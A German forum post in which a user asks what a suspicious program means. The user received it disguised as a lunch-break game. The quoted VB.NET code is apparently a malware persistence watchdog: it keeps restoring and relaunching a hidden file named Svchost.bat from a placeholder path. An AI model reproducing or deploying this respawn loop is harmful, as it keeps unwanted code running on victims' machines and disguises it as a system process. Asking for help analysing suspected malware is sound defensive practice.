Programm Code was bedeutet diese batch?

Was bedeutet der Text?
Vermute ein bisschen selbstgebastelte Maleware ?
So ein Horst hat mir das als "Spiel für die Mittagspause geschickt" getarnt
und der Spaten meint das es überhaupt nicht auffällt wenn plötzlich eine
Datei unter
C:\Users\Username\appData\Roaming\
mit dem Namen Svchost.bat fragt ausgeführt zu werden


Option Strict On

Imports System.Windows.Forms
Imports System
Imports System.Diagnostics.Process
Public Class Main
Public Shared Sub Main()
Dim sPfad As String = "$install$"
Dim sprozess As String = "Svchost.bat"
Dim DateiBytes() As Byte
DateiBytes = My.Computer.FileSystem.ReadAllBytes(sPfad)
While True
Dim FindeProzess As Boolean = False
For Each p As System.Diagnostics.Process In System.Diagnostics.Process.GetProcessesByName(sprozess)
Try
If p.MainModule.FileName.EndsWith("Svchost.bat") Then
FindeProzess = True
Exit For
End If
Catch ex As Exception
FindeProzess = False
End Try
Next
If FindeProzess = False Then
If My.Computer.FileSystem.FileExists(sPfad) = False Then
Try
My.Computer.FileSystem.WriteAllBytes(sPfad, DateiBytes, False)
System.Diagnostics.Process.Start(sPfad)
Catch ex As Exception
End Try
Else
Try
System.Diagnostics.Process.Start(sPfad)
Catch ex As Exception
End Try
End If
End If
System.Threading.Thread.Sleep(200)
End While
End Sub
End Class